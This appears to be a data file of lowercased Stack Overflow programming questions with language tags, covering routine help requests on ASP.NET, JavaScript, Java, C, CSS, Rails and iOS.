parse asp:boudfield in a gridview  i have the following gridview: i need to parse the first 8 elements of the datetime and view these only in the gridview. how can i do that    <pre><code> &lt;asp:gridview id= gridview1  runat= server  autogeneratecolumns= false   datakeynames= id  backcolor= white                      bordercolor= #336666  borderstyle= double  borderwidth= 3px                      cellpadding= 1  datasourceid= sqldatasource1                      onrowdatabound= gridview1_rowdatabound                       onselectedindexchanged= gridview1_selectedindexchanged                       gridlines= horizontal  cellspacing= 4  height= 20px                       width= 842px  showfooter= true &gt;                     &lt;footerstyle backcolor= white  forecolor= #333333  /&gt;                     &lt;rowstyle forecolor= #333333  backcolor= white  /&gt;                     &lt;columns&gt;                         &lt;asp:buttonfield commandname= select  visible= false  /&gt;                         &lt;asp:boundfield datafield= id  headertext= id  headerstyle-horizontalalign= left  insertvisible= false  readonly= true  /&gt;                         &lt;asp:boundfield datafield= title  headerstyle-horizontalalign= left  headertext= title /&gt;                             &lt;asp:boundfield datafield= location  headerstyle-horizontalalign= left  headertext= location /&gt;                         &lt;asp:boundfield datafield= datetime  headerstyle-horizontalalign= left  headertext= datetime /&gt;                                                                    &lt;/columns&gt;                     &lt;pagerstyle backcolor= #336666  forecolor= white  horizontalalign= center  /&gt;                     &lt;selectedrowstyle backcolor= #339966  font-bold= true  forecolor= white  /&gt;                     &lt;headerstyle backcolor= #336666  font-bold= true  forecolor= white  /&gt;                 &lt;/asp:gridview&gt; </code></pre>,asp.net
in javascript  is there a technique where i can execute code after a return   is there a technique where i can execute code after a return  i want to return a value then reset the value without introducing a temporary variable.     my current code is:   <pre><code>var foo = (function(){   var b;    return {     bar: function(a) {         if(b){           var temp = b;           b = false;           return temp;         }else{           b = a;           return false;         };     }   }; })();  foo.bar(1); </code></pre>   i want to avoid the <code>temp</code> var. is that possible     <code>var b</code> holds a value between function calls because it is a memoization styled function.,javascript
error extending from an abstract class and implementing the comparable interface  though the geometricobject is without errors  the geocircle shows an error saying geocircle is not abstract and does not override the abstract method compareto(geometricobject) though the compareto method is not written as an abstract class //abstract class geometricobject that implements the comparable interface   <pre><code>public abstract class geometricobject implements comparable&lt;geometricobject&gt; {      public string name;     //sample abstract class of getting area of various shapes      public abstract double getarea();     //sample abstract class for getting perimeter/circumference of various shapes     public abstract double getperimeter();     //pass in and return name of the object selected in a system out line     public void name(string n)     {         system.out.println( this is a   + n);     }   /** a method for comparing the areas of two geometric objects and returning a boolean for their equals */     public static boolean equalarea(geometricobject object1 geometricobject object2)     {         //comparing double to another double         return object1.getarea()==object2.getarea();     }      // a method to find the bigger between two geometricobjects and returning a string statement      public static void max(geometricobject g1  geometricobject g2)     {         if(g1.compareto(g2)&gt;0)             system.out.println( object 1 is larger  );         else if (g1.compareto(g2)&lt;0)             system.out.println( object 2 is larger  );         else             system.out.println( objects are the same  );     }     // an override of the compareto method from the implemented comparable interface     public int compareto(geometricobject g1  geometricobject g2)     {         if(g1.getarea()&gt;g2.getarea())             return 1;         else if (g1.getarea()&lt;g2.getarea())             return -1;         else             return 0;     } }   //a class for calculating circumference and area of a circle extended from geometricobject public class geocircle extends geometricobject implements comparable&lt;geocircle&gt; {     public string name;     public double radius;      //constructor for only inputting radius of the circle     public geocircle(double r)     {         radius = r;     }    // 2ndconstructor taking a name for the shape and radius of the circle     public geocircle(string n  double r)     {         name = n;         radius = r;     }      //method to get area of the shape with previously passed in radius     public double getarea()     {        return math.pi*math.pow(radius 2);     }      //method to get circumference of the circle with radius previously given      public double getperimeter()     {        return 2*math.pi*radius;     }      //a compareto method      public int compareto(geocircle obj)      {     if (this.getarea() &gt; obj.getarea())       return 1;     else if (this.getarea() &lt; obj.getarea())       return -1;     else       return 0;   } } </code></pre>,java
postcode checker problems - where am i going wrong   the idea is that the applicant enters his postcode and if his area is within 10 miles of the locations he is sent to one page.     if not he is directed to another.      the problem i have is that the search box appears on the web page but when search is selected  nothing happens.    html:   <pre><code>// api key &lt;script type= text/javascript  src= http://maps.google.com/maps/api/js key=aizasybc8nlms-jbkncfqf8mto_cnt5ofqv94xw&amp;libraries=geometry=false &gt;&lt;/script&gt;  &lt;div class= map &gt;   &lt;h4&gt;apply for funding&lt;/h4&gt;   &lt;br&gt;   &lt;p&gt;to find out if you are eligible for funding please enter your postcode into the search.&lt;/p&gt;   &lt;div class= search &gt;   &lt;br&gt;     &lt;p&gt;postcode search&lt;/p&gt;     &lt;input type= text  value= enter postcode  class= searchfield location  title= apply for funding search &gt;     &lt;input type= text  value= boosh  style= display:none &gt;     &lt;input value= search  class= searchbutton locationsearch  type= button  title= apply for funding search &gt;          &lt;/div&gt;     &lt;/div&gt;   //above appears to give me search box but if i do not enter the first script line  nothing shows on website  // postcode entered but nothing happens </code></pre>   my javascript:   <pre><code>&lt;script type= text/javascript &gt;  // locations where eligible  var locations = [{ address : oxfordshire erf   lat : 51.925128   lng : -1.215956   postcode : ox27 7ph } { address : thames   lat : 51.383865   lng : -0.138555   postcode : cr0 4td } { address : devon   lat : 50.915447   lng : -3.332914   postcode : ex15 3ep } { address : somerset (d)   lat : 51.080808   lng : -2.553969   postcode : ba7 7nr }  { address : somerset (w)   lat : 51.18585   lng : -2.986303   postcode : ta6 4tf } { address : derbyshire   lat : 53.252614   lng : -1.328572   postcode : s44 5hs }  { address : suffolk (m)   lat : 52.108111   lng : 1.087697   postcode : ip6 0nw } { address : cornwall   lat : 50.425197   lng : -4.439917   postcode : pl14 3qd }  { address : manchester (p)   lat : 53.579453   lng : -2.265505   postcode : bl9 8qz } { address : kent   lat : 51.299362   lng : 1.101955   postcode : ct2 0pu }  { address : hampshire   lat : 50.991236   lng : -1.534517   postcode : so51 6ga } { address : dorset   lat : 50.705269   lng : -2.15095   postcode : bh20 7pa }  { address : wiltshire   lat : 51.435258   lng : -1.981372   postcode : sn11 8tf } { address : runcorn (erf)   lat : 53.331395   lng : -2.756128   postcode : wa7 4hg }  { address : exeter (erf)   lat : 50.704251   lng : -3.522272   postcode : ex2 8qe } { address : bolton (erf)   lat : 53.566933   lng : -2.408110   postcode : bl3 2np }  { address : cardiff (erf)   lat : 51.470867   lng : -3.151157   postcode : cf24 5en } { address : peterborough (erf)   lat : 52.575185   lng : -0.206181   postcode : pe1 5ur }];  $(document).ready(function() {    $( .searchfield.location ).focus(function() {      if($(this).val() ==  enter postcode )      {        $(this).val(  );       }   });   $( .searchfield.location ).blur(function() {      if($(this).val() ==   )      {         $(this).val( enter postcode );      }   });    $( .locationsearch ).click(function(e) {     e.preventdefault();     var location = $( .searchfield.location ).val();     var geo = new google.maps.geocoder;     var currentlocation = geo.geocode({ address :location}  function(results  status)          if(status == google.maps.geocoderstatus.ok) {         var found = false;         $.each(locations  function() {           var lat = parsefloat(this.lat);           var lng = parsefloat(this.lng);           var storedlocation = new google.maps.latlng(lat  lng);           var distance = google.maps.geometry.spherical.computedistancebetween(storedlocation  results[0].geometry.location);           var distance = distance * 0.000621371192237334;           if(distance &lt;= 10)           {             found = true;           }         });         if(found)  // if eligible go to this page            window.location.href = /funding/eligible for funding/ postcode=  + location;          }else  // if no then this page           window.location.href = /funding/not eligible for funding/ postcode=  + location;      }   });    &lt;/script&gt; </code></pre>,javascript
how to retrieve database sql data and store to hash in array  i have a table in database:    | id  |  param1  |  param2 | param3 | param4 | param5 |    | 1  |  value11 |  value12 | value13 | 18 | value15 |    | 2  |  value21 |  value22 | value23 | 17 | value25 |    | 3  |  value31 |  value32 | value33 | 10 | value35 |    now i wan to retreive data from database  param2 and param4  and sort the data by param4   <pre><code>@data={   0 =&gt;{       param2 = value32         param4 = value34     }   1 =&gt;{       param2 = value22         param4 = value24     }   2 =&gt;{       param2 = value12         param4 = value14     }  } </code></pre>   what i plan to do is sort database and store sorted result in a variable    loop through this sorted result and retrieve data save as hash in array.    but im not sure how i can do this(dun know ruby syntax well)    thanks in advance,ruby-on-rails
data web controls  in a repeater control can we achive both sorting and grouping together  if possiple plz guide me the way.    if not  what is the best control to obtain just sorting and grouping.    thank you,asp.net
what does  >  mean when used as a jquery selector   apologies if this is a stupid question but it is quite hard to find using a search engine  but what does the  >  operator mean when used as a selector     e.g.   <pre><code>$( div.form-input &gt; label ).... </code></pre>,jquery
angular $resource only  put  got no  access-control-allow-origin  header  but  get  and  post  works well  i use swagger to call api it works (for  get    post  and  put )  but when i was trying to call api via $resource method:  put   it gives me options  and cannot make the call. is there someone who knows how to fix this  below attached code:   <pre><code>var data = $resource( url   {id:  @id }  { update: { method:  put }}); var modifyobject = function (obj) {     var deferred = $q.defer();     data.update({id: obj.id}  obj  function (data) {         deferred.resolve(data);     }  function (error) {         deferred.reject(error);     });     return deferred.promise; }; modifyobject(requestobj).then(function (data) {         console.log(data);     }      function (error) {         console.log(error);     } ); </code></pre>   attached the resolve and same issue: <a href= https://stackoverflow.com/questions/10636611/how-does-access-control-allow-origin-header-work >how does access-control-allow-origin header work </a>,angularjs
"error fragment should provide a default constructor  i have gameplayfragment.java taht error with notice  fragment should provide a default constructor     this is my gameplayfragment extends fragment    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>    public gameplayfragment(context context  handler handler  int musicvolume  int soundvolume  sharedpreferences preferencessavegameplay) {
         this.context = context;
         this.handler = handler;
         this.musicvolume = musicvolume;
         this.soundvolume = soundvolume;
         this.preferencessavegameplay = preferencessavegameplay;
         layoutinflate = layoutinflate.from(context);
         view = layoutinflate.inflate(r.layout.gameplay_layout  null);
         initfragment();
     }
 
     @override
     public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestate) {
         return view;
     }
 
 
     private void initfragment() {
         layoutgameplay = (framelayout) view.findviewbyid(r.id.myframe);
         gameplay = new gameplay(context  layoutgameplay  handler  soundvolume 
                 musicvolume  preferencessavegameplay);
         layoutgameplay.addview(gameplay);
         loadgamedata();
     }</code></pre>
 </div>
 </div>
     how to remove that error     thanks",android
use get and make page url  i have this form:   <pre><code>&lt;form action =    method =  get &gt; &lt;input type =  input  name =  id  value =  3  /&gt; &lt;input type =  input  name =  name  value =  gloris  /&gt; &lt;input type =  submit  class =  button_big  name =  submit  value =  send  /&gt; &lt;/form&gt; </code></pre>   and how make this link (and i must use button): www.link.com/3/gloris,html
nsapplicationmain syntax  i am completely new to objective c and cocoa programming.    why does nsapplicationmain not have syntax like    <pre><code>[target selector]; </code></pre>   why we call it like    <pre><code>nsapplicationmain();  </code></pre>   or is this syntax for some sort of global methods   i was thinking that all methods in objective-c are on objects  seems like this is one of those global methods   seniors in objective-c please shed some light.    thanks,objective-c
alternative for microsoft.visualbasic.information.isnumeric in c# <pre><code>attrval[5] = wrmservice.windowsagent.agentversion; </code></pre>   from above if attrval[5] is null or not getting any value or any strings other than numeric values i want to assign attrval[5] to value  0.0.0.0  otherwise i will display the numeric value which is coming.what coding i have to implement here    as per the information while doing googling i did this    <pre><code>attrval[5] = (wrmservice.windowsagent.agentversion == null || microsoft.visualbasic.information.isnumeric(wrmservice.windowsagent.agentversion))     0.0.0.0  : wrmservice.windowsagent.agentversion;  </code></pre>   but microsoft.visualbasic.information.isnumeric making problems. is there any similar one in c#     only two outputs i required one will be numeric and one will be any other  it can be string or null whatever it i have to set in to 0.0.0.0,c#
capturing the application delete or uninstall event in iphone  i need to be able to delete a user account from a database on a server when a user deletes our iphone application. what is the best way to capture the delete process. when the user holds down a finger on the application and the big  x  appears. the user presses it and the user is prompted to confirm the deletion of the application. i want to be able to capture the process and clean up the server database of users before the application is actually deleted.  what method is called when you delete an application  any thoughts,iphone
jquery autocomplete list  the jquery function that i m using is:   <pre><code>$.getjson( rpc2.php querystring=  +inputstring+    function(data) {  if(data.length &gt;0) { $.each(data  function(i  data){ var city= data.city; var country= data.country; $( #suggestions ).show(); $( #autosuggestionslist ).html( &lt;li&gt; + city+ &lt;/li&gt; );  });  }  }); </code></pre>   the php looks like:   <pre><code>if(strlen($querystring) &gt;0) { $query =  select * from cities where city_accented like  $querystring%  limit 5 ; $result = mysql_query($query) or die( there is an error in database ); $json = array(); while($row = mysql_fetch_array($result)){ $json[ city ] = $row[ city_accented ]; $json[ country ] = $row[ country ]; $data[] = $json;   } } print json_encode($data); </code></pre>   the response that i m getting from php is:   <pre><code>[{ city : lors   country : ad } { city : lo serrat   country : ad } { city : lobabi   country : af } { city : lobya   country : af } { city : locakan   country : af }] </code></pre>   the problem is that in autosuggestionslist div only the first city is listed  not all five from php response. why there is no other cities from php response in autosuggestionslist div,jquery
get an eventargument with .performclick()  i try to create dynamic buttons and simulate a mouseclick without importing dlls by using .performclick.    code:   <pre><code>for (int i = 0; i &lt; save.count; i++) {     button tempbuttonforclick = new button();     tempbuttonforclick.location = save[i].saveregion.location;     cursor.position = save[i].saveregion.location;     tempbuttonforclick.size = save[i].saveregion.size;     tempbuttonforclick.click += new eventhandler(mainpanelclicks);     mainpanel.controls.add(tempbuttonforclick);     tempbuttonforclick.performclick();     ... } </code></pre>   the problem is  that i get an empty eventargs with that method. is there any way to get a  normal  eventargument     thanks in advance.,c#
excluding a value from a form drop down in rails  i have a form drop down  that shows me all the emails in my user db table.   <pre><code>  &lt;%= f.collection_select(:accessor_id  user.all :email  :email) %&gt; </code></pre>   i want to exclude from this list the value of the current s user email  which i can find with with <code>current_user.email</code> (already defined and working)    i know i can achieve this via the following query:   <pre><code>  &lt;%= f.collection_select(:accessor_id  user.select(:email).where( email !=     current_user.email) :email  :email) %&gt; </code></pre>   i wanted to know if it is possible to do this after user.all returned all of the values.,ruby-on-rails
sql - sum of same column with different criteria - one distinct  one not  i have an issue i can t figure out at the moment. i am trying to figure out how to sum data from the same column but with a condition on one of the  sums .     i am dealing with events that have hours. one event type  f2f  doesn t have to be distinct. i would like to add f2f with groups  which have to be unique by group id. other wise a group that was an hour long with 5 people would be 5 hours instead of one.     so i need sum(f2fhours) + sum(hours by distinct group_id)    the f2f don t have a group id but are on the same table so if i try to group by group_id it doesn t work.,sql
reverse words in string  for some reason  i can t get this to work! can anyone tell me where i ve gone wrong  this is supposed to reverse the words in a give string (i.e from  this is a test  to  test a is this )   <pre><code>    #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  char *reverse(char const *input) {     char *ret = (char *)malloc(sizeof(char) * strlen(input));     int length = 0;     int numwords = 1;     int i;     for(i=0; input[i]!=null; i++)     {         length++;         if(input[i]==   )             numwords++;      }     char words[numwords];     int currentword = numwords;     for(i=0; input[i]!=null; i++)     {         if (input[i]==   ){             currentword--;         }else{             words[currentword] = words[currentword] + input[i];         }     }     for(i=0; i &lt; numwords; i++)     {         ret = ret + words[i];     }      return ret; }  int main(int argc  char **argv) {     int ntestcase = 0;     int i = 0;     char inputstr[100];     char *reversedstr = null;     scanf( %d\n   &amp;ntestcase);     for (i = 0; i &lt; ntestcase; i++)     {         fgets(inputstr  100  stdin);         reversedstr = reverse(inputstr);         printf( %s\n   reversedstr);         free(reversedstr);         memset(inputstr  0  100);     }     return 0; } </code></pre>,c
jna4645385380957642360.dll: can t find dependent libraries  below error pops up when trying to launch an application hosted on web logic with sso enabled. the same application works on other systems. this is something specific to java path tags. the below issue occurs only on enabling the sso else no issue in launching the application. please any suggestion to overcome    <pre><code>caused by: java.lang.unsatisfiedlinkerror: c:\....\jna--1052937873\jna4645385380957642360.dll: can t find dependent libraries     at java.lang.classloader$nativelibrary.load(native method)     at java.lang.classloader.loadlibrary0(classloader.java:1807)     at java.lang.classloader.loadlibrary(classloader.java:1703)     at java.lang.runtime.load0(runtime.java:770)     at java.lang.system.load(system.java:1003) </code></pre>,java
php flush() function and content-type: text/event-stream  from what i understand  this function - flush () - pushes the output to the browser. assuming i have a code 30 command lines and put a flush () on the 15th line  the server would force push or interpreted code until the 14th line for my browser  would that be  this question arose because i m trying to make use of html5 sse. the idea is to make the server send updates to the browser every time there is update the database  without the need to send a request to the server.,php
position of my <li> circles is different between ie and firefox  this is a follow-up to my last question. thanks to  mu is too short  i can now demonstrate my problem in a fiddle.     i have the following code.     i want the code to show the list circles to the left of the text but to the right side of the .img div. this works in firefox and in opera but in ie they are positioned to the very far left. i can t understand why they are positioned differently in the two browsers. help would be much appreciated.   <pre><code>&lt;div class= fp1 &gt;     &lt;div class= col &gt;       &lt;div class= img  id= img1 &gt;&lt;/div&gt;                         &lt;ul&gt;                         &lt;li&gt;&lt;span&gt;test &lt;/span&gt;&lt;/li&gt;                         &lt;li&gt;&lt;span&gt;test &lt;/span&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;span&gt;test &lt;/span&gt;&lt;/li&gt;                         &lt;/ul&gt;       &lt;/div&gt; &lt;/div&gt;  .fp1 .row   { overflow: hidden;  } .fp1 .img   { display: inline-block; float: left; width:105px; height:80px; margin:25px 0 10px 0;     background: yellow; no-repeat scroll 0 0 transparent; }  .fp1 .col   { float: left; width:50%; margin:0px; } .fp1 .col ul      { margin:15px 20px 0 0; padding-left: 25px; font-size: 1.2em} .fp1 .col ul span { color:#222; font-size: 0.85em; } .fp1 .col ul li   { line-height:15px; } </code></pre>   here is a <a href= http://jsfiddle.net/fdxtq/  rel= nofollow >fiddle </a>,css
margin for element in div with display:table-cell moves content in other cell  i have tthe  following simple  layout: <a href= http://jsfiddle.net/656ckfyq/  rel= nofollow noreferrer >http://jsfiddle.net/656ckfyq/</a>   <pre><code>  &lt;div class= container &gt;         &lt;div&gt;            some jumping conten  here         &lt;/div&gt;         &lt;div&gt;             &lt;a href= #  class= more &gt;more&lt;/a&gt;         &lt;/div&gt;              &lt;/div&gt; </code></pre>   and these are styles for it   <pre><code>    .container {         display: table;         border: 1px silver solid;      }       .container div {          display: table-cell;          padding: 10px;      }      .more {         display: block;         border: 2px red solid;         margin-top: 20px;      } </code></pre>   so the problem is that i want to  move only link in second cell 20px down. but somehow it also affects content in first cell too.    <img src= https://i.stack.imgur.com/gdi7d.png  alt= enter image description here >    so what is the  reason fo this behaviour and how can i  fix this,css
iphone - retrieve images in background (push)  i would like to build an app which retrieves images from my server. my problem is that i want it to work in the <strong>background</strong> and only when there is a  new image  to load.    it seems like what i need is very similar to push notifications:    <ul> <li>work in the background</li> <li>only when there is  something new  to load.</li> </ul>   i guess what i want became possible with the new ios4. please tell me if this is feasible. any links for how to even start thinking about it would be great.  thanks.,iphone
matching classes in any order  i need to match an element that has 2 classes. below is some samples of the html:   <pre><code>&lt;i class= img _3odc img &gt;&lt;/i&gt; </code></pre>   and   <pre><code>&lt;i class= img img &gt;&lt;/i&gt; </code></pre>   i am currently using the following  but it fails if the order of <code>img img</code> is different:   <pre><code>i[class*= img img ] </code></pre>   i assumed (assumptions are bad i know) that using <code>contains</code> would match if they are in any order. i have no idea why there s 2 class names the same  i just have to work with it.    any ideas,css
limiting the number of login attempts  i have an application in which there is a login screen. i want to add a feature in my application that is limiting the maximum number of login attempts at a time. for example  if a user tries to login with wrong <code>user name</code> and/or <code>password</code> more than 5 times  then a message should pop up that you can t login for the next 60 secs. if he tries within that 60 secs  then he should not be able to login. after 60 secs  he should be able to do so with the right password.,ios
error: incompatible types in assignment  my c code   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include  help.h   int test(int x  p *ut) {     int point = 10;      ut-&gt;dt[10].max_x = null; }  int main(int argc  char** argv) {      return (exit_success); } </code></pre>   my help.h file code   <pre><code>typedef struct{     double max_x;     double max_y; }x;  typedef struct{     x dt[10]; }p; </code></pre>   i got an error i.e   <pre><code>error: incompatible types in assignment </code></pre>   error comes in here   <pre><code>ut-&gt;dt[10].max_x = null; </code></pre>   can anybody help me. thanks in advance.,c
difference between root to and get  between these two commands:   <pre><code>  root to:  static_pages#home    #get  static_pages/home  </code></pre>   if i use the first one i get this error:   <pre><code>no route matches [get]  /static_pages/home.html   rails.root: /users/jony/rubymineprojects/sample_app </code></pre>   for accessing <code>http://localhost:3000/static_pages/home.html</code>    but if i use the second one  it just works fine.    what is the difference and how can i fix it to use the first style of routing,ruby-on-rails
why does python not distinguish creating a new local variable from assigning a new value to an existing variable   in python  <code>x=1</code> has two meanings depending on whether <code>x</code> has been assigned before:   <ol> <li>if <code>x</code> has not been assigned  <code>x=1</code> will create variable <code>x</code>.</li> <li>if <code>x</code> has been assigned before  <code>x=1</code> will rebind <code>x</code> to value <code>1</code>.</li> </ol>   why not distinguish the two scenarios  for example  as with io language using <code>:=</code> and <code>=</code>  and scheme  using <code>define</code> and <code>set!</code> to distinguish them     python way has an simple problem that interpreter won’t find typo error. for example <br>     message =’xxx’<br>     messsage = ‘yyy’<br> in 2nd statement  i want to reassign message to ‘yyy’. but typo make a new variable. interpreter won’t warn or raise error.    my assumption is   language designer know all the past language designed before.  scheme distinguish the 2 cases. scheme was designed far before python. the later designed language ruby coffeescript and groovy (except io language)  are same as python. so i could say the design decision of python is right.    scheme way have 2 obvious advantage: 1. can find the typo. 2. more functional. you can easily see when a variable is re-bind.    could someone give an example  what is the problem/inconvenient of scheme’s option     edit: i got answer here: <a href= http://legacy.python.org/dev/peps/pep-3104/  rel= nofollow >answer</a>,python
z-index problem with embed graph and calendar control  i am using embed graph and calendar control in same page. the calendar control is having z-index 999999. but the calendar control appears below the graph. how can i show calendar above embed graph.,html
conflicting type in c but no clear difference between lines  i am trying to run a model written by someone else. when running the make file  i get the following error regarding one of the fonctions:    <pre><code>ground_layer.c:4391:6: error: conflicting types for  func_  real func_(r_fp funk  real *x)       ^ ground_layer.c:4360:17: note: previous declaration is here     extern real func_(u_fp  real *); </code></pre>   i feel like it must be a silly mistake  bu my c is really rusty at this point  and i just can t identify the error. i ve tried removing all the differences: adding an <code>x</code> in the first definition  removing the <code>funk</code>  but those changes seem to only make things worse.     for info  i am on macosx 10.11. here is the code from the definition till the end:   <pre><code>/* local variables */     static real a  b;     static integer j;     static real x;     static integer it;     static real del  tnm  sum  ddel;     extern real func_(u_fp  real *);   /* ********************************************************************** */     b = exp(-(*aa));     a = 0.f;     if (*n == 1) {     r__1 = (a + b) * .5f;     *s = (b - a) * func_((u_fp)funk  &amp;r__1);     it = 1;     } else {     tnm = (real) it;     del = (b - a) / (tnm * 3.f);     ddel = del + del;     x = a + del * .5f;     sum = 0.f;     i__1 = it;     for (j = 1; j &lt;= i__1; ++j) {         sum += func_((u_fp)funk  &amp;x);         x += ddel;         sum += func_((u_fp)funk  &amp;x);         x += del; /* l11: */     }     *s = (*s + (b - a) * sum / tnm) / 3.f;     it *= 3;     }     return 0; } /* midexp_ */  /* ********************************************************************** */ /* ********************************************************************** */ real func_(r_fp funk  real *x)  {     /* system generated locals */     real ret_val  r__1;      /* builtin functions */     double log(doublereal);  /* ********************************************************************** */     r__1 = -log(*x);     ret_val = (*funk)(&amp;r__1) / *x;     return ret_val; } /* func_ */ </code></pre>,c
only use where condition if string parameter is not null or empty string  i have a query and i only want to use the where conditions if the parameters are not null or empty strings.    <pre><code>select users.user_id  users.fname  users.lname  certifications.certname  skills.skillname from users left join certifications on users.user_id = certifications.user_id left join specializations on users.user_id = specializations.user_id left join skills on skills.user_id = skills.user_id where (certifications.certname is not null and certifications.certname like  ccna routing and switching )  or  (skills.skillname is not null and skills.skillname like   ) or (users.location is not null and users.location like   )  group by users.user_id </code></pre>   so if the search term for <code>skillname</code> and <code>location</code> is empty i don t want to include those in the <code>where</code> clause.,mysql
redirect to login page in asp.net  i have a strange issue of redirecting to the login page when i run my site for the time.    issue is:-    when i tried to logged in to my site with correct user-credentials it works perfectly and i can able to see my dashboard without any error(than means the session of the user is properly generated).<br/> <br/>but  as soon as i link towards the other pages  in the site it redirects me to log in page with the redirecturl of that page (where i  have to again insert the user credential and go through the site after that no error occurs).    after successful logged in  i tried log-out and re-login than it works perfectly.  issue occurs only once when i run the site for the first time.     please guide me and take me out from this strange issue.    thanks  prashant,asp.net
difference in the value of a tag in html  i am not sure if this is a very silly question but lately i have been having this in my mind. i want to know if there is a difference between    <pre><code>&lt;button value =  somevalue &gt;&lt;/button&gt; </code></pre>   and   <pre><code>&lt;button&gt;somevalue&lt;/button&gt; </code></pre>   is there something that i really need to understand with the way these tags work,html
angularjs calling controller functions while application load  i have a $promise service in controller and i want to call these services while application start.   <pre><code> customerservice.fetchreligion.list().$promise.then(function(response){       $scope.religionlist = response;        $window.localstorage.setitem( religionlist   json.stringify(response));                                                          }  function(error) {       // error handler   });        customerservice.fetchcaste.list().$promise.then(function(response){     $scope.castelist = response;       $window.localstorage.setitem( castelist   json.stringify(response));                                                                                    }  function(error) {      // error handler   }); </code></pre>   how do i call these services,angularjs
comparing a string with a char  i have been trying to create a temperature converter in java using 3 function for the conversion of the fahrenheit  celsius  and the print out of the results.  the code works  but for reason i am comparing a string with a char  making the expression never equal. i am really confused about this.  please i need your help  thank you.    <strong>temperatureconverter:</strong>   <pre><code>import java.util.*; public class temperatureconverter {     public static double converttocelsius(double degrees ){     double celsius = (5*(degrees - 32)/9);     return celsius;   }     public static double converttofahrenheit(double degrees ){     double fahrenheit = (9*( degrees/5 ) + 32);     return fahrenheit;   }      public static string getoutput(char units  double degrees) {      if ((units ==  f ) || (units ==  f ))     {       string output =    ;       output = degrees +   f =   + converttocelsius(degrees);       return output;     }     else if ((units) ==  c  || (units) ==  c  )     {       string output =    ;       output = degrees +   c =   + converttofahrenheit(degrees);       return output;     }     if(!(units ==  f  || units ==  f  || units ==  c  || units ==  c ))     {       string output = ( unknown units - cannot do calculation\n  +                        - next time enter either \ f\  for fahrenheit or \ c\  for celsius. );       return output;     }     return   ;   }    public static void main(string[] args) {      scanner keyboard = new scanner(system.in);      double degrees;     char units;      system.out.println( enter a temperature in degrees (for example 29.6):  );     degrees = keyboard.nextdouble();      system.out.println();     system.out.println( enter  f  (or  f ) for fahrenheit or  c  (or  c ) for celsius:  );      units = keyboard.next().charat(0);     system.out.println(getoutput(units  degrees));    } } </code></pre>   <strong>temperatureconvertertest:</strong>   <pre><code>import junit.framework.testcase;  /**  * a junit test case class.  * every method starting with the word  test  will be called when running  * the test with junit.  */ public class temperatureconvertertest extends testcase {   public static final double epsilon = 0.0001;   public void testconverttocelsius() {     assertequals(0.0  temperatureconverter.converttocelsius(32)  epsilon);     assertequals(100  temperatureconverter.converttocelsius(212)  epsilon);     assertequals(-17.7777777778  temperatureconverter.converttocelsius(0)  epsilon);     assertequals(-40  temperatureconverter.converttocelsius(-40)  epsilon);   }    public void testconverttofahrenheit() {     assertequals(32  temperatureconverter.converttofahrenheit(0)  epsilon);     assertequals(100  temperatureconverter.converttofahrenheit(37.7777778)  epsilon);     assertequals(0  temperatureconverter.converttofahrenheit(-17.7777778)  epsilon);     assertequals(-40  temperatureconverter.converttofahrenheit(-40)  epsilon);   }    public void testgetoutput() {     string output = temperatureconverter.getoutput( c   0.0);     assertequals( user inputs  c  and 0.0 degrees    0.0 degrees c = 32.0 degrees fahrenheit.   output);      output = temperatureconverter.getoutput( c   0.0);     assertequals( user inputs  c  and 0.0 degrees    0.0 degrees c = 32.0 degrees fahrenheit.   output);      output = temperatureconverter.getoutput( f   0.0);     assertequals( user inputs  f  and 0.0 degrees    0.0 degrees f = -17.77777777777778 degrees celsius.   output);      output = temperatureconverter.getoutput( f   0.0);     assertequals( user inputs  f  and 0.0 degrees    0.0 degrees f = -17.77777777777778 degrees celsius.   output);      output = temperatureconverter.getoutput( m   0.0);     assertequals( user inputs  m  and 0.0 degrees    unknown units - cannot do calculation\n  +                    - next time enter either  f  for fahrenheit or  c  for celsius.   output);   } } </code></pre>,java
application implementing easing function (sample code) for iphone  i am looking for a sample code to implement the easing function in iphone. i have a set of images getting animated over an uiimageview.    what i want to do is use some ease function to make them look like bouncing.     for example on click   a balloon gets bigger from previous size with a curve.     like lets say from size 50x50 its gets to 100x100 but while animating it also becomes 120x120 and comes back to 100x100    tnx,iphone
equipvalent of vb6 s paintpicture() method in vb.net   as i researched. <strong>graphics.drawimage()</strong> can replace <strong>paintpicture()</strong> when upgrade from vb6 to vb.net. however  <strong>drawimage()</strong> lacks of argument like <strong>opcode</strong> which defines bit-wise operation. please help me to find a correct solution for the replacement. thanks.,.net
my method doesn t stop when it reaches a return statement  question is answered: i was unknowingly calling the method twice.       <pre><code> private int findbranch(int branchnumber){     if(branches.size() == 0){         system.out.println( branches.size() == 0 );         return 0;     }     for(int i=0; i&lt;branches.size(); i++){          if(branches.get(i).getbranchnumber() == branchnumber){             system.out.println( branch found );             return i;         }     }     system.out.println();     return -1; } </code></pre>   this code is supposed to search an arraylist for an alement containing a given int.    if the arraylist is empty  it s supposed to return 0 and stop. otherwise it s supposed to loopthrough the arraylist and check each element for the presence of the given int.     if the int is found it will return it s index. if not found  it returns -1.    however  i constantly see an output with both printlines( branches.size() == 0  and  branch found )    that shouldn t be possible for as far as i understand. what am i doing wrong,java
angular js - update ng-model when one input is inside ng-view and other input inside ng-include  this question is an extension of <a href= https://stackoverflow.com/questions/37543667/angular-js-update-input-options-with-other-input-options/37544265#37544265 >angular js - update input options with other input options</a>    i have two <code>ng-model</code> inputs (input options)  one is inside a <code>ng-view</code> and the other is inside a <code>ng-include</code>. i want to keep both updated when changing  so the value displayed by both is always the same.     the code is working when both inputs are in the same level. when one input is inside <code>ng-include</code>  i manage to get it working by adding <code>$parent</code> to the <code>ng-model</code> scope  but when placing the other input inside the <code>ng-view</code> i cannot manage to get it working. you can check my code <a href= http://plnkr.co/edit/yzg83t50nnwy6jyflegw p=preview  rel= nofollow noreferrer >in this plunkr</a>,angularjs
